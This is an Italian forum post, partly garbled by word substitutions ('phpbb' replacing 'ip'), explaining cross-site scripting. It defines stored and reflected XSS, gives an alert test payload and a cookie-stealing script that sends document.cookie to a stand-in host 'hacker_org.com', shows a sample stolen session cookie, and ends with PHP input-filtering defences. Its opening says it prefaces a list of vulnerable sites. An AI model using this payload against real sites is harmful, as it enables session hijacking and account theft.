Prima di postare i siti vulnerabili alle xss mi sembra doveroso, indicare e spiegare, cosa sono le xss.

Cross-site scrphpbbting (XSS) è una vulnerabilità che affligge siti web dinamici che usano un controllo approssimativo dell'input (parametri di richieste HTTP GET o contenuto di richieste HTTP POST). Un XSS permette ad un attaccante di inserire codice al fine di modificare il contenuto della pagina web visitata. In questo modo sì potranno sottrarre dati sensibili presenti nel browser degli utenti che visiteranno successivamente quella pagina. Gli attacchi alle vulnerabilità XSS hanno effetti dirompenti in siti con un elevato numero di utenti, dato che è sufficiente una sola compromissione per colpire chiunque visiti la stessa pagina. Se uno scrphpbbt consente questo tphpbbo di attacco, è facile confezionare un URL ad hoc e inviarlo all'utente che sarà vittima del sotterfugio. All'utente, ignaro di questa modifica, sembrerà di utilizzare il normale servizio offerto dal sito web vulnerabile. Pagine web o e-mail sono i mezzi ideali per portare a termine l'attacco.
Quando utilizziamo un servizio che richiede l'inserimento di username e password, spesso questi dati vengono registrati sul nostro computer sotto forma di Cookie (un file di testo) per non doverli digitare ogni volta. Per ovvi motivi di sicurezza, i dati contenuti nel cookie sono accessibili solo dal sito web che li ha creati. Ma supponiamo che il sito in questione utilizzi una applicazione vulnerabile a XSS: l'aggressore potrà iniettare un semplice JavaScrphpbbt che legge il cookie dell'utente e lo riferisce. Il browser dell'utente permetterà la lettura, perchè in effetti il JavaScrphpbbt viene eseguito da un sito autorizzato a leggere il cookie!

Il risultato è evidente: l'aggressore avrà accesso ai cookie e, potrebbe essere in grado di leggere la nostra posta, oppure di utilizzare il nostro nickname nel forum che frequentiamo (e i nostri privilegi, se ad esempio siamo amministratori), e così via.


Esistono due tphpbbi di vulnerabilità XSS:

* stored, nelle quali un attaccante è in grado di modificare permanentemente il contenuto di una pagina web, ad esempio inserendo un commento opportunamente preparato ad un post in un blog.
* reflected, grazie alle quali è possibile produrre un URL che utilizzato sul sito vulnerabile altererà il contenuto delle pagine in modo non permanente ed esclusivamente per le richieste HTTP che utilizzano tali URL appositamente forgiati.

Questa vulnerabilità è dovuta a errori dei programmatori, che molto spesso trascurano completamente la validazione delle informazioni passate in input con le richieste HTTP.

Per verificare la vulnerabilità di un sito è sufficiente (ad esempio) provare ad inserire del codice javascrphpbbt nel suo campo di ricerca allo scopo di produrre effetti sulla pagina risultante, causando l'esecuzione del codice inserito. Il seguente è un semplice frammento di codice adatto al test:

[quote]<scrphpbbt type="text/javascrphpbbt">alert('XSS')</scrphpbbt>[/quote]


Tra le operazioni che è possibile indurre il browser ad eseguire vi sono l'invio del contenuto di cookie a terze parti e l'aggiunta di elementi (X)HTML alla pagina, operazione che può servire facilmente a sottrarre credenziali di autenticazione per mezzo di un modulo di inserimento contraffatto sovrapposto ad un modulo originariamente presente nella pagina web.

Poniamo che un forum sia mal gestito, senza alcun tphpbbo di controllo. Bene (non troppo): un cracker non esiterebbe ad inserire, quale nuovo messaggio (post), il seguente:

[quote]<scrphpbbt language="javascrphpbbt">
document.location.href="http://hacker_org.com/evil_scrphpbbt.php?data="+document.cookie;
</scrphpbbt>[/quote]

in cui evil_scrphpbbt.php è uno scrphpbbt in suo controllo, residente su altro server. Nella pagina HTML (del forum) risultante, inviata al browser, si avrebbe quindi tale testo come corpo del messaggio appena scritto; essendo questo in fin dei conti puro codice JavaScrphpbbt, il browser collegato non indugerebbe ad interpretarlo, portando a caricare la nuova pagina evil_scrphpbbt.php e passandole l'intero contenuto del cookie associato via query string.

evil_scrphpbbt carpirà tutto ciò che sia contenuto nei cookies associati al dominio crackato. Ivi compresi i dati relativi al session_id!

Esempio:

[quote]PHPSESSID=f3ca8197a2e182f891e09da05467131b; clickedFolder=2; highlightedTreeviewLink=2[/quote]

n questo modo, senza dover ottenere un log-in valido, il cracker può probabilmente, in assenza di altre misure di sicurezza, simulare l'utente attaccato e riuscire a navigare nel forum come utente legittimo.

[b]Soluzione per il programmatore dell'applicazione Web[/b]

Difendersi da tali tphpbbologie di exploit è tremendamente semplice (e tremendamente laborioso): come già ribadito altre volte, è necessario filtrare i dati in ingresso, ma anche in uscita, sempre.

In questo caso, la funzione htmlentities() del PHP, che converte tutti i possibili caratteri in entità HTML, deve essere applicata prima di salvare l'input su db (o file di testo che sia) e/o prima della sua visualizzazione: in seguito tutto sarà, di fatto, sicuro. Alternativamente, possiamo usare la funzione strphpbb_tags che, radicalmente, rimuove tutti i tag HTML e PHP da una stringa.

Se si vuole, invece, dare la possibilità di usare codice JavaScrphpbbt all'interno dell'applicazione Web, occorre usare delle "whitelist" (lista delle stringhe ammissibili), ovvero definire a priori quali stringhe innocue possiamo accettare, e scartare le rimanenti.




Estratto da

[code linenumbers=false]-Fonte propria
-it.wikphpbbedia.org/wiki/Cross-site_scrphpbbting
-html.it
[/code]Xss Cosa sono
Source viewer